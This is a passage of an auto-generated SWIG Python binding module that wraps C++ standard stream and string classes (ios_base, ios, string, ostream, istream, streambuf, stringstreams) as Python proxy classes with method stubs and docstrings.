-> fmtflags """ return _pyBasePython.ios_base_flags(self, *args) def setf(self, *args): """ setf(self, fmtflags __fmtfl) -> fmtflags setf(self, fmtflags __fmtfl, fmtflags __mask) -> fmtflags """ return _pyBasePython.ios_base_setf(self, *args) def unsetf(self, *args): """unsetf(self, fmtflags __mask)""" return _pyBasePython.ios_base_unsetf(self, *args) def precision(self, *args): """ precision(self) -> streamsize precision(self, streamsize __prec) -> streamsize """ return _pyBasePython.ios_base_precision(self, *args) def width(self, *args): """ width(self) -> streamsize width(self, streamsize __wide) -> streamsize """ return _pyBasePython.ios_base_width(self, *args) def sync_with_stdio(__sync = True): """ sync_with_stdio(bool __sync = True) -> bool sync_with_stdio() -> bool """ return _pyBasePython.ios_base_sync_with_stdio(__sync) sync_with_stdio = staticmethod(sync_with_stdio) def imbue(self, *args): """imbue(self, locale __loc) -> locale""" return _pyBasePython.ios_base_imbue(self, *args) def getloc(self): """getloc(self) -> locale""" return _pyBasePython.ios_base_getloc(self) def xalloc(): """xalloc() -> int""" return _pyBasePython.ios_base_xalloc() xalloc = staticmethod(xalloc) def iword(self, *args): """iword(self, int __ix) -> long""" return _pyBasePython.ios_base_iword(self, *args) def pword(self, *args): """pword(self, int __ix) -> void""" return _pyBasePython.ios_base_pword(self, *args) __swig_destroy__ = _pyBasePython.delete_ios_base ios_base.register_callback = new_instancemethod(_pyBasePython.ios_base_register_callback,None,ios_base) ios_base.flags = new_instancemethod(_pyBasePython.ios_base_flags,None,ios_base) ios_base.setf = new_instancemethod(_pyBasePython.ios_base_setf,None,ios_base) ios_base.unsetf = new_instancemethod(_pyBasePython.ios_base_unsetf,None,ios_base) ios_base.precision = new_instancemethod(_pyBasePython.ios_base_precision,None,ios_base) ios_base.width = new_instancemethod(_pyBasePython.ios_base_width,None,ios_base) ios_base.imbue = new_instancemethod(_pyBasePython.ios_base_imbue,None,ios_base) ios_base.getloc = new_instancemethod(_pyBasePython.ios_base_getloc,None,ios_base) ios_base.iword = new_instancemethod(_pyBasePython.ios_base_iword,None,ios_base) ios_base.pword = new_instancemethod(_pyBasePython.ios_base_pword,None,ios_base) ios_base_swigregister = _pyBasePython.ios_base_swigregister ios_base_swigregister(ios_base) cvar = _pyBasePython.cvar ios_base.boolalpha = _pyBasePython.cvar.ios_base_boolalpha ios_base.dec = _pyBasePython.cvar.ios_base_dec ios_base.fixed = _pyBasePython.cvar.ios_base_fixed ios_base.hex = _pyBasePython.cvar.ios_base_hex ios_base.internal = _pyBasePython.cvar.ios_base_internal ios_base.left = _pyBasePython.cvar.ios_base_left ios_base.oct = _pyBasePython.cvar.ios_base_oct ios_base.right = _pyBasePython.cvar.ios_base_right ios_base.scientific = _pyBasePython.cvar.ios_base_scientific ios_base.showbase = _pyBasePython.cvar.ios_base_showbase ios_base.showpoint = _pyBasePython.cvar.ios_base_showpoint ios_base.showpos = _pyBasePython.cvar.ios_base_showpos ios_base.skipws = _pyBasePython.cvar.ios_base_skipws ios_base.unitbuf = _pyBasePython.cvar.ios_base_unitbuf ios_base.uppercase = _pyBasePython.cvar.ios_base_uppercase ios_base.adjustfield = _pyBasePython.cvar.ios_base_adjustfield ios_base.basefield = _pyBasePython.cvar.ios_base_basefield ios_base.floatfield = _pyBasePython.cvar.ios_base_floatfield ios_base.badbit = _pyBasePython.cvar.ios_base_badbit ios_base.eofbit = _pyBasePython.cvar.ios_base_eofbit ios_base.failbit = _pyBasePython.cvar.ios_base_failbit ios_base.goodbit = _pyBasePython.cvar.ios_base_goodbit ios_base.app = _pyBasePython.cvar.ios_base_app ios_base.ate = _pyBasePython.cvar.ios_base_ate ios_base.binary = _pyBasePython.cvar.ios_base_binary ios_base.ios_base_in = _pyBasePython.cvar.ios_base_ios_base_in ios_base.out = _pyBasePython.cvar.ios_base_out ios_base.trunc = _pyBasePython.cvar.ios_base_trunc ios_base.beg = _pyBasePython.cvar.ios_base_beg ios_base.cur = _pyBasePython.cvar.ios_base_cur ios_base.end = _pyBasePython.cvar.ios_base_end def ios_base_sync_with_stdio(__sync = True): """ sync_with_stdio(bool __sync = True) -> bool ios_base_sync_with_stdio() -> bool """ return _pyBasePython.ios_base_sync_with_stdio(__sync) def ios_base_xalloc(): """ios_base_xalloc() -> int""" return _pyBasePython.ios_base_xalloc() class ios(ios_base): """Proxy of C++ std::basic_ios<(char)> class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') __repr__ = _swig_repr def rdstate(self): """rdstate(self) -> iostate""" return _pyBasePython.ios_rdstate(self) def clear(self, *args): """ clear(self, iostate __state = goodbit) clear(self) """ return _pyBasePython.ios_clear(self, *args) def setstate(self, *args): """setstate(self, iostate __state)""" return _pyBasePython.ios_setstate(self, *args) def good(self): """good(self) -> bool""" return _pyBasePython.ios_good(self) def eof(self): """eof(self) -> bool""" return _pyBasePython.ios_eof(self) def fail(self): """fail(self) -> bool""" return _pyBasePython.ios_fail(self) def bad(self): """bad(self) -> bool""" return _pyBasePython.ios_bad(self) def exceptions(self, *args): """ exceptions(self) -> iostate exceptions(self, iostate __except) """ return _pyBasePython.ios_exceptions(self, *args) def __init__(self, *args): """__init__(self, streambuf __sb) -> ios""" _pyBasePython.ios_swiginit(self,_pyBasePython.new_ios(*args)) __swig_destroy__ = _pyBasePython.delete_ios def tie(self, *args): """ tie(self) -> ostream tie(self, ostream __tiestr) -> ostream """ return _pyBasePython.ios_tie(self, *args) def rdbuf(self, *args): """ rdbuf(self) -> streambuf rdbuf(self, streambuf __sb) -> streambuf """ return _pyBasePython.ios_rdbuf(self, *args) def copyfmt(self, *args): """copyfmt(self, ios __rhs) -> ios""" return _pyBasePython.ios_copyfmt(self, *args) def fill(self, *args): """ fill(self) -> char_type fill(self, char_type __ch) -> char_type """ return _pyBasePython.ios_fill(self, *args) def imbue(self, *args): """imbue(self, locale __loc) -> locale""" return _pyBasePython.ios_imbue(self, *args) def narrow(self, *args): """narrow(self, char_type __c, char __dfault) -> char""" return _pyBasePython.ios_narrow(self, *args) def widen(self, *args): """widen(self, char __c) -> char_type""" return _pyBasePython.ios_widen(self, *args) ios.rdstate = new_instancemethod(_pyBasePython.ios_rdstate,None,ios) ios.clear = new_instancemethod(_pyBasePython.ios_clear,None,ios) ios.setstate = new_instancemethod(_pyBasePython.ios_setstate,None,ios) ios.good = new_instancemethod(_pyBasePython.ios_good,None,ios) ios.eof = new_instancemethod(_pyBasePython.ios_eof,None,ios) ios.fail = new_instancemethod(_pyBasePython.ios_fail,None,ios) ios.bad = new_instancemethod(_pyBasePython.ios_bad,None,ios) ios.exceptions = new_instancemethod(_pyBasePython.ios_exceptions,None,ios) ios.tie = new_instancemethod(_pyBasePython.ios_tie,None,ios) ios.rdbuf = new_instancemethod(_pyBasePython.ios_rdbuf,None,ios) ios.copyfmt = new_instancemethod(_pyBasePython.ios_copyfmt,None,ios) ios.fill = new_instancemethod(_pyBasePython.ios_fill,None,ios) ios.imbue = new_instancemethod(_pyBasePython.ios_imbue,None,ios) ios.narrow = new_instancemethod(_pyBasePython.ios_narrow,None,ios) ios.widen = new_instancemethod(_pyBasePython.ios_widen,None,ios) ios_swigregister = _pyBasePython.ios_swigregister ios_swigregister(ios) class string(object): """Proxy of C++ std::basic_string<(char)> class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') __repr__ = _swig_repr def length(self): """length(self) -> size_type""" return _pyBasePython.string_length(self) def max_size(self): """max_size(self) -> size_type""" return _pyBasePython.string_max_size(self) def capacity(self): """capacity(self) -> size_type""" return _pyBasePython.string_capacity(self) def reserve(self, __res_arg = 0): """ reserve(self, size_type __res_arg = 0) reserve(self) """ return _pyBasePython.string_reserve(self, __res_arg) def copy(self, *args): """ copy(self, char __s, size_type __n, size_type __pos = 0) -> size_type copy(self, char __s, size_type __n) -> size_type """ return _pyBasePython.string_copy(self, *args) def c_str(self): """c_str(self) -> char""" return _pyBasePython.string_c_str(self) def find(self, *args): """ find(self, char __s, size_type __pos, size_type __n) -> size_type find(self, string __str, size_type __pos = 0) -> size_type find(self, string __str) -> size_type find(self, char __c, size_type __pos = 0) -> size_type find(self, char __c) -> size_type """ return _pyBasePython.string_find(self, *args) def rfind(self, *args): """ rfind(self, string __str, size_type __pos = std::basic_string< char >::npos) -> size_type rfind(self, string __str) -> size_type rfind(self, char __s, size_type __pos, size_type __n) -> size_type rfind(self, char __c, size_type __pos = std::basic_string< char >::npos) -> size_type rfind(self, char __c) -> size_type """ return _pyBasePython.string_rfind(self, *args) def find_first_of(self, *args): """ find_first_of(self, string __str, size_type __pos = 0) -> size_type find_first_of(self, string __str) -> size_type find_first_of(self, char __s, size_type __pos, size_type __n) -> size_type find_first_of(self, char __c, size_type __pos = 0) -> size_type find_first_of(self, char __c) -> size_type """ return _pyBasePython.string_find_first_of(self, *args) def find_last_of(self, *args): """ find_last_of(self, string __str, size_type __pos = std::basic_string< char >::npos) -> size_type find_last_of(self, string __str) -> size_type find_last_of(self, char __s, size_type __pos, size_type __n) -> size_type find_last_of(self, char __c, size_type __pos = std::basic_string< char >::npos) -> size_type find_last_of(self, char __c) -> size_type """ return _pyBasePython.string_find_last_of(self, *args) def find_first_not_of(self, *args): """ find_first_not_of(self, string __str, size_type __pos = 0) -> size_type find_first_not_of(self, string __str) -> size_type find_first_not_of(self, char __s, size_type __pos, size_type __n) -> size_type find_first_not_of(self, char __c, size_type __pos = 0) -> size_type find_first_not_of(self, char __c) -> size_type """ return _pyBasePython.string_find_first_not_of(self, *args) def find_last_not_of(self, *args): """ find_last_not_of(self, string __str, size_type __pos = std::basic_string< char >::npos) -> size_type find_last_not_of(self, string __str) -> size_type find_last_not_of(self, char __s, size_type __pos, size_type __n) -> size_type find_last_not_of(self, char __c, size_type __pos = std::basic_string< char >::npos) -> size_type find_last_not_of(self, char __c) -> size_type """ return _pyBasePython.string_find_last_not_of(self, *args) def substr(self, *args): """ substr(self, size_type __pos = 0, size_type __n = std::basic_string< char >::npos) -> string substr(self, size_type __pos = 0) -> string substr(self) -> string """ return _pyBasePython.string_substr(self, *args) def empty(self): """empty(self) -> bool""" return _pyBasePython.string_empty(self) def size(self): """size(self) -> size_type""" return _pyBasePython.string_size(self) def swap(self, *args): """swap(self, string v)""" return _pyBasePython.string_swap(self, *args) def get_allocator(self): """get_allocator(self) -> allocator_type""" return _pyBasePython.string_get_allocator(self) def begin(self): """begin(self) -> const_iterator""" return _pyBasePython.string_begin(self) def end(self): """end(self) -> const_iterator""" return _pyBasePython.string_end(self) def rbegin(self): """rbegin(self) -> const_reverse_iterator""" return _pyBasePython.string_rbegin(self) def rend(self): """rend(self) -> const_reverse_iterator""" return _pyBasePython.string_rend(self) def erase(self, *args): """ erase(self, size_type __pos = 0, size_type __n = std::basic_string< char >::npos) -> string erase(self, size_type __pos = 0) -> string erase(self) -> string erase(self, iterator pos) -> iterator erase(self, iterator first, iterator last) -> iterator """ return _pyBasePython.string_erase(self, *args) def __init__(self, *args): """ __init__(self, char __s, size_type __n) -> string __init__(self) -> string __init__(self, string arg0) -> string __init__(self, size_type size, value_type value) -> string """ _pyBasePython.string_swiginit(self,_pyBasePython.new_string(*args)) def assign(self, *args): """ assign(self, string __str) -> string assign(self, string __str, size_type __pos, size_type __n) -> string assign(self, char __s, size_type __n) -> string assign(self, size_type n, value_type x) """ return _pyBasePython.string_assign(self, *args) def resize(self, *args): """ resize(self, size_type new_size) resize(self, size_type new_size, value_type x) """ return _pyBasePython.string_resize(self, *args) def iterator(self): """iterator(self) -> SwigPyIterator""" return _pyBasePython.string_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self): """__nonzero__(self) -> bool""" return _pyBasePython.string___nonzero__(self) def __bool__(self): """__bool__(self) -> bool""" return _pyBasePython.string___bool__(self) def __len__(self): """__len__(self) -> size_type""" return _pyBasePython.string___len__(self) def __getslice__(self, *args): """__getslice__(self, difference_type i, difference_type j) -> string""" return _pyBasePython.string___getslice__(self, *args) def __setslice__(self, *args): """__setslice__(self, difference_type i, difference_type j, string v)""" return _pyBasePython.string___setslice__(self, *args) def __delslice__(self, *args): """__delslice__(self, difference_type i, difference_type j)""" return _pyBasePython.string___delslice__(self, *args) def __delitem__(self, *args): """ __delitem__(self, difference_type i) __delitem__(self, PySliceObject slice) """ return _pyBasePython.string___delitem__(self, *args) def __getitem__(self, *args): """ __getitem__(self, PySliceObject slice) -> string __getitem__(self, difference_type i) -> value_type """ return _pyBasePython.string___getitem__(self, *args) def __setitem__(self, *args): """ __setitem__(self, PySliceObject slice, string v) __setitem__(self, difference_type i, value_type x) """ return _pyBasePython.string___setitem__(self, *args) def insert(self, *args): """ insert(self, size_type __pos1, string __str) -> string insert(self, size_type __pos1, string __str, size_type __pos2, size_type __n) -> string insert(self, size_type __pos, char __s, size_type __n) -> string insert(self, size_type __pos, size_type __n, char __c) -> string insert(self, iterator pos, value_type x) -> iterator insert(self, iterator pos, size_type n, value_type x) insert(self, iterator __p, size_type __n, char __c) """ return _pyBasePython.string_insert(self, *args) def replace(self, *args): """ replace(self, size_type __pos, size_type __n, string __str) -> string replace(self, size_type __pos1, size_type __n1, string __str, size_type __pos2, size_type __n2) -> string replace(self, size_type __pos, size_type __n1, char __s, size_type __n2) -> string replace(self, size_type __pos, size_type __n1, size_type __n2, char __c) -> string replace(self, iterator __i1, iterator __i2, string __str) -> string replace(self, iterator __i1, iterator __i2, char __s, size_type __n) -> string replace(self, iterator __i1, iterator __i2, size_type __n, char __c) -> string replace(self, iterator __i1, iterator __i2, char __k1, char __k2) -> string replace(self, iterator __i1, iterator __i2, const_iterator __k1, const_iterator __k2) -> string """ return _pyBasePython.string_replace(self, *args) def __iadd__(self, *args): """__iadd__(self, string v) -> string""" return _pyBasePython.string___iadd__(self, *args) def __add__(self, *args): """__add__(self, string v) -> string""" return _pyBasePython.string___add__(self, *args) def __radd__(self, *args): """__radd__(self, string v) -> string""" return _pyBasePython.string___radd__(self, *args) def __str__(self): """__str__(self) -> string""" return _pyBasePython.string___str__(self) def __rlshift__(self, *args): """__rlshift__(self, ostream out) -> ostream""" return _pyBasePython.string___rlshift__(self, *args) def __eq__(self, *args): """__eq__(self, string v) -> bool""" return _pyBasePython.string___eq__(self, *args) def __ne__(self, *args): """__ne__(self, string v) -> bool""" return _pyBasePython.string___ne__(self, *args) def __gt__(self, *args): """__gt__(self, string v) -> bool""" return _pyBasePython.string___gt__(self, *args) def __lt__(self, *args): """__lt__(self, string v) -> bool""" return _pyBasePython.string___lt__(self, *args) def __ge__(self, *args): """__ge__(self, string v) -> bool""" return _pyBasePython.string___ge__(self, *args) def __le__(self, *args): """__le__(self, string v) -> bool""" return _pyBasePython.string___le__(self, *args) __swig_destroy__ = _pyBasePython.delete_string string.length = new_instancemethod(_pyBasePython.string_length,None,string) string.max_size = new_instancemethod(_pyBasePython.string_max_size,None,string) string.capacity = new_instancemethod(_pyBasePython.string_capacity,None,string) string.reserve = new_instancemethod(_pyBasePython.string_reserve,None,string) string.copy = new_instancemethod(_pyBasePython.string_copy,None,string) string.c_str = new_instancemethod(_pyBasePython.string_c_str,None,string) string.find = new_instancemethod(_pyBasePython.string_find,None,string) string.rfind = new_instancemethod(_pyBasePython.string_rfind,None,string) string.find_first_of = new_instancemethod(_pyBasePython.string_find_first_of,None,string) string.find_last_of = new_instancemethod(_pyBasePython.string_find_last_of,None,string) string.find_first_not_of = new_instancemethod(_pyBasePython.string_find_first_not_of,None,string) string.find_last_not_of = new_instancemethod(_pyBasePython.string_find_last_not_of,None,string) string.substr = new_instancemethod(_pyBasePython.string_substr,None,string) string.empty = new_instancemethod(_pyBasePython.string_empty,None,string) string.size = new_instancemethod(_pyBasePython.string_size,None,string) string.swap = new_instancemethod(_pyBasePython.string_swap,None,string) string.get_allocator = new_instancemethod(_pyBasePython.string_get_allocator,None,string) string.begin = new_instancemethod(_pyBasePython.string_begin,None,string) string.end = new_instancemethod(_pyBasePython.string_end,None,string) string.rbegin = new_instancemethod(_pyBasePython.string_rbegin,None,string) string.rend = new_instancemethod(_pyBasePython.string_rend,None,string) string.erase = new_instancemethod(_pyBasePython.string_erase,None,string) string.assign = new_instancemethod(_pyBasePython.string_assign,None,string) string.resize = new_instancemethod(_pyBasePython.string_resize,None,string) string.iterator = new_instancemethod(_pyBasePython.string_iterator,None,string) string.__nonzero__ = new_instancemethod(_pyBasePython.string___nonzero__,None,string) string.__bool__ = new_instancemethod(_pyBasePython.string___bool__,None,string) string.__len__ = new_instancemethod(_pyBasePython.string___len__,None,string) string.__getslice__ = new_instancemethod(_pyBasePython.string___getslice__,None,string) string.__setslice__ = new_instancemethod(_pyBasePython.string___setslice__,None,string) string.__delslice__ = new_instancemethod(_pyBasePython.string___delslice__,None,string) string.__delitem__ = new_instancemethod(_pyBasePython.string___delitem__,None,string) string.__getitem__ = new_instancemethod(_pyBasePython.string___getitem__,None,string) string.__setitem__ = new_instancemethod(_pyBasePython.string___setitem__,None,string) string.insert = new_instancemethod(_pyBasePython.string_insert,None,string) string.replace = new_instancemethod(_pyBasePython.string_replace,None,string) string.__iadd__ = new_instancemethod(_pyBasePython.string___iadd__,None,string) string.__add__ = new_instancemethod(_pyBasePython.string___add__,None,string) string.__radd__ = new_instancemethod(_pyBasePython.string___radd__,None,string) string.__str__ = new_instancemethod(_pyBasePython.string___str__,None,string) string.__rlshift__ = new_instancemethod(_pyBasePython.string___rlshift__,None,string) string.__eq__ = new_instancemethod(_pyBasePython.string___eq__,None,string) string.__ne__ = new_instancemethod(_pyBasePython.string___ne__,None,string) string.__gt__ = new_instancemethod(_pyBasePython.string___gt__,None,string) string.__lt__ = new_instancemethod(_pyBasePython.string___lt__,None,string) string.__ge__ = new_instancemethod(_pyBasePython.string___ge__,None,string) string.__le__ = new_instancemethod(_pyBasePython.string___le__,None,string) string_swigregister = _pyBasePython.string_swigregister string_swigregister(string) string.npos = _pyBasePython.cvar.string_npos class ostream(ios): """Proxy of C++ std::basic_ostream<(char)> class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') __repr__ = _swig_repr def __init__(self, *args): """__init__(self, streambuf __sb) -> ostream""" _pyBasePython.ostream_swiginit(self,_pyBasePython.new_ostream(*args)) __swig_destroy__ = _pyBasePython.delete_ostream def __lshift__(self, *args): """ __lshift__(self, ostream __pf) -> ostream __lshift__(self, ios __pf) -> ostream __lshift__(self, ios_base __pf) -> ostream __lshift__(self, long __n) -> ostream __lshift__(self, unsigned long __n) -> ostream __lshift__(self, bool __n) -> ostream __lshift__(self, short __n) -> ostream __lshift__(self, unsigned short __n) -> ostream __lshift__(self, int __n) -> ostream __lshift__(self, unsigned int __n) -> ostream __lshift__(self, long long __n) -> ostream __lshift__(self, unsigned long long __n) -> ostream __lshift__(self, double __f) -> ostream __lshift__(self, float __f) -> ostream __lshift__(self, long double __f) -> ostream __lshift__(self, void __p) -> ostream __lshift__(self, streambuf __sb) -> ostream __lshift__(self, string s) -> ostream """ return _pyBasePython.ostream___lshift__(self, *args) def put(self, *args): """put(self, char_type __c) -> ostream""" return _pyBasePython.ostream_put(self, *args) def write(self, *args): """write(self, char_type __s, streamsize __n) -> ostream""" return _pyBasePython.ostream_write(self, *args) def flush(self): """flush(self) -> ostream""" return _pyBasePython.ostream_flush(self) def tellp(self): """tellp(self) -> pos_type""" return _pyBasePython.ostream_tellp(self) def seekp(self, *args): """ seekp(self, pos_type arg0) -> ostream seekp(self, off_type arg0, seekdir arg1) -> ostream """ return _pyBasePython.ostream_seekp(self, *args) ostream.__lshift__ = new_instancemethod(_pyBasePython.ostream___lshift__,None,ostream) ostream.put = new_instancemethod(_pyBasePython.ostream_put,None,ostream) ostream.write = new_instancemethod(_pyBasePython.ostream_write,None,ostream) ostream.flush = new_instancemethod(_pyBasePython.ostream_flush,None,ostream) ostream.tellp = new_instancemethod(_pyBasePython.ostream_tellp,None,ostream) ostream.seekp = new_instancemethod(_pyBasePython.ostream_seekp,None,ostream) ostream_swigregister = _pyBasePython.ostream_swigregister ostream_swigregister(ostream) cin = cvar.cin cout = cvar.cout cerr = cvar.cerr clog = cvar.clog class istream(ios): """Proxy of C++ std::basic_istream<(char)> class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') __repr__ = _swig_repr def __init__(self, *args): """__init__(self, streambuf __sb) -> istream""" _pyBasePython.istream_swiginit(self,_pyBasePython.new_istream(*args)) __swig_destroy__ = _pyBasePython.delete_istream def __rshift__(self, *args): """ __rshift__(self, istream __pf) -> istream __rshift__(self, ios __pf) -> istream __rshift__(self, ios_base __pf) -> istream __rshift__(self, bool __n) -> istream __rshift__(self, short __n) -> istream __rshift__(self, unsigned short __n) -> istream __rshift__(self, int __n) -> istream __rshift__(self, unsigned int __n) -> istream __rshift__(self, long __n) -> istream __rshift__(self, unsigned long __n) -> istream __rshift__(self, long long __n) -> istream __rshift__(self, unsigned long long __n) -> istream __rshift__(self, float __f) -> istream __rshift__(self, double __f) -> istream __rshift__(self, long double __f) -> istream __rshift__(self, void __p) -> istream __rshift__(self, streambuf __sb) -> istream """ return _pyBasePython.istream___rshift__(self, *args) def gcount(self): """gcount(self) -> streamsize""" return _pyBasePython.istream_gcount(self) def get(self, *args): """ get(self) -> int_type get(self, char_type __c) -> istream get(self, char_type __s, streamsize __n, char_type __delim) -> istream get(self, char_type __s, streamsize __n) -> istream get(self, streambuf __sb, char_type __delim) -> istream get(self, streambuf __sb) -> istream """ return _pyBasePython.istream_get(self, *args) def getline(self, *args): """ getline(self, char_type __s, streamsize __n, char_type __delim) -> istream getline(self, char_type __s, streamsize __n) -> istream """ return _pyBasePython.istream_getline(self, *args) def ignore(self, *args): """ ignore(self, streamsize __n = 1, int_type __delim = std::char_traits< char >::eof()) -> istream ignore(self, streamsize __n = 1) -> istream ignore(self) -> istream """ return _pyBasePython.istream_ignore(self, *args) def peek(self): """peek(self) -> int_type""" return _pyBasePython.istream_peek(self) def read(self, *args): """read(self, char_type __s, streamsize __n) -> istream""" return _pyBasePython.istream_read(self, *args) def readsome(self, *args): """readsome(self, char_type __s, streamsize __n) -> streamsize""" return _pyBasePython.istream_readsome(self, *args) def putback(self, *args): """putback(self, char_type __c) -> istream""" return _pyBasePython.istream_putback(self, *args) def unget(self): """unget(self) -> istream""" return _pyBasePython.istream_unget(self) def sync(self): """sync(self) -> int""" return _pyBasePython.istream_sync(self) def tellg(self): """tellg(self) -> pos_type""" return _pyBasePython.istream_tellg(self) def seekg(self, *args): """ seekg(self, pos_type arg0) -> istream seekg(self, off_type arg0, seekdir arg1) -> istream """ return _pyBasePython.istream_seekg(self, *args) istream.__rshift__ = new_instancemethod(_pyBasePython.istream___rshift__,None,istream) istream.gcount = new_instancemethod(_pyBasePython.istream_gcount,None,istream) istream.get = new_instancemethod(_pyBasePython.istream_get,None,istream) istream.getline = new_instancemethod(_pyBasePython.istream_getline,None,istream) istream.ignore = new_instancemethod(_pyBasePython.istream_ignore,None,istream) istream.peek = new_instancemethod(_pyBasePython.istream_peek,None,istream) istream.read = new_instancemethod(_pyBasePython.istream_read,None,istream) istream.readsome = new_instancemethod(_pyBasePython.istream_readsome,None,istream) istream.putback = new_instancemethod(_pyBasePython.istream_putback,None,istream) istream.unget = new_instancemethod(_pyBasePython.istream_unget,None,istream) istream.sync = new_instancemethod(_pyBasePython.istream_sync,None,istream) istream.tellg = new_instancemethod(_pyBasePython.istream_tellg,None,istream) istream.seekg = new_instancemethod(_pyBasePython.istream_seekg,None,istream) istream_swigregister = _pyBasePython.istream_swigregister istream_swigregister(istream) class iostream(istream,ostream): """Proxy of C++ std::basic_iostream<(char)> class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') __repr__ = _swig_repr def __init__(self, *args): """__init__(self, streambuf __sb) -> iostream""" _pyBasePython.iostream_swiginit(self,_pyBasePython.new_iostream(*args)) __swig_destroy__ = _pyBasePython.delete_iostream iostream_swigregister = _pyBasePython.iostream_swigregister iostream_swigregister(iostream) endl_cb_ptr = _pyBasePython.endl_cb_ptr def endl(*args): """endl(ostream arg0) -> ostream""" return _pyBasePython.endl(*args) endl = _pyBasePython.endl ends_cb_ptr = _pyBasePython.ends_cb_ptr def ends(*args): """ends(ostream arg0) -> ostream""" return _pyBasePython.ends(*args) ends = _pyBasePython.ends flush_cb_ptr = _pyBasePython.flush_cb_ptr def flush(*args): """flush(ostream arg0) -> ostream""" return _pyBasePython.flush(*args) flush = _pyBasePython.flush class streambuf(object): """Proxy of C++ std::basic_streambuf<(char)> class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr __swig_destroy__ = _pyBasePython.delete_streambuf def pubimbue(self, *args): """pubimbue(self, locale __loc) -> locale""" return _pyBasePython.streambuf_pubimbue(self, *args) def getloc(self): """getloc(self) -> locale""" return _pyBasePython.streambuf_getloc(self) def pubsetbuf(self, *args): """pubsetbuf(self, char_type __s, streamsize __n) -> streambuf""" return _pyBasePython.streambuf_pubsetbuf(self, *args) def pubseekoff(self, *args): """ pubseekoff(self, off_type __off, seekdir __way, openmode __mode = std::ios_base::in|std::ios_base::out) -> pos_type pubseekoff(self, off_type __off, seekdir __way) -> pos_type """ return _pyBasePython.streambuf_pubseekoff(self, *args) def pubseekpos(self, *args): """ pubseekpos(self, pos_type __sp, openmode __mode = std::ios_base::in|std::ios_base::out) -> pos_type pubseekpos(self, pos_type __sp) -> pos_type """ return _pyBasePython.streambuf_pubseekpos(self, *args) def pubsync(self): """pubsync(self) -> int""" return _pyBasePython.streambuf_pubsync(self) def in_avail(self): """in_avail(self) -> streamsize""" return _pyBasePython.streambuf_in_avail(self) def snextc(self): """snextc(self) -> int_type""" return _pyBasePython.streambuf_snextc(self) def sbumpc(self): """sbumpc(self) -> int_type""" return _pyBasePython.streambuf_sbumpc(self) def sgetc(self): """sgetc(self) -> int_type""" return _pyBasePython.streambuf_sgetc(self) def sgetn(self, *args): """sgetn(self, char_type __s, streamsize __n) -> streamsize""" return _pyBasePython.streambuf_sgetn(self, *args) def sputbackc(self, *args): """sputbackc(self, char_type __c) -> int_type""" return _pyBasePython.streambuf_sputbackc(self, *args) def sungetc(self): """sungetc(self) -> int_type""" return _pyBasePython.streambuf_sungetc(self) def sputc(self, *args): """sputc(self, char_type __c) -> int_type""" return _pyBasePython.streambuf_sputc(self, *args) def sputn(self, *args): """sputn(self, char_type __s, streamsize __n) -> streamsize""" return _pyBasePython.streambuf_sputn(self, *args) streambuf.pubimbue = new_instancemethod(_pyBasePython.streambuf_pubimbue,None,streambuf) streambuf.getloc = new_instancemethod(_pyBasePython.streambuf_getloc,None,streambuf) streambuf.pubsetbuf = new_instancemethod(_pyBasePython.streambuf_pubsetbuf,None,streambuf) streambuf.pubseekoff = new_instancemethod(_pyBasePython.streambuf_pubseekoff,None,streambuf) streambuf.pubseekpos = new_instancemethod(_pyBasePython.streambuf_pubseekpos,None,streambuf) streambuf.pubsync = new_instancemethod(_pyBasePython.streambuf_pubsync,None,streambuf) streambuf.in_avail = new_instancemethod(_pyBasePython.streambuf_in_avail,None,streambuf) streambuf.snextc = new_instancemethod(_pyBasePython.streambuf_snextc,None,streambuf) streambuf.sbumpc = new_instancemethod(_pyBasePython.streambuf_sbumpc,None,streambuf) streambuf.sgetc = new_instancemethod(_pyBasePython.streambuf_sgetc,None,streambuf) streambuf.sgetn = new_instancemethod(_pyBasePython.streambuf_sgetn,None,streambuf) streambuf.sputbackc = new_instancemethod(_pyBasePython.streambuf_sputbackc,None,streambuf) streambuf.sungetc = new_instancemethod(_pyBasePython.streambuf_sungetc,None,streambuf) streambuf.sputc = new_instancemethod(_pyBasePython.streambuf_sputc,None,streambuf) streambuf.sputn = new_instancemethod(_pyBasePython.streambuf_sputn,None,streambuf) streambuf_swigregister = _pyBasePython.streambuf_swigregister streambuf_swigregister(streambuf) class istringstream(istream): """Proxy of C++ std::basic_istringstream<(char)> class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') __repr__ = _swig_repr def __init__(self, *args): """ __init__(self, openmode __mode = ios_base_in) -> istringstream __init__(self) -> istringstream __init__(self, string __str, openmode __mode = ios_base_in) -> istringstream __init__(self, string __str) -> istringstream """ _pyBasePython.istringstream_swiginit(self,_pyBasePython.new_istringstream(*args)) __swig_destroy__ = _pyBasePython.delete_istringstream def rdbuf(self): """rdbuf(self) -> std::basic_stringbuf<(char,std::char_traits<(char)>,std::allocator<(char)>)>""" return _pyBasePython.istringstream_rdbuf(self) def str(self, *args): """ str(self) -> string str(self, string __s) """ return _pyBasePython.istringstream_str(self, *args) istringstream.rdbuf = new_instancemethod(_pyBasePython.istringstream_rdbuf,None,istringstream) istringstream.str = new_instancemethod(_pyBasePython.istringstream_str,None,istringstream) istringstream_swigregister = _pyBasePython.istringstream_swigregister istringstream_swigregister(istringstream) class ostringstream(ostream): """Proxy of C++ std::basic_ostringstream<(char)> class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') __repr__ = _swig_repr def __init__(self, *args): """ __init__(self, openmode __mode = out) -> ostringstream __init__(self) -> ostringstream __init__(self, string __str, openmode __mode = out) -> ostringstream __init__(self, string __str) -> ostringstream """ _pyBasePython.ostringstream_swiginit(self,_pyBasePython.new_ostringstream(*args)) __swig_destroy__ = _pyBasePython.delete_ostringstream def rdbuf(self): """rdbuf(self) -> std::basic_stringbuf<(char,std::char_traits<(char)>,std::allocator<(char)>)>""" return _pyBasePython.ostringstream_rdbuf(self) def str(self): """str(self) -> string""" return 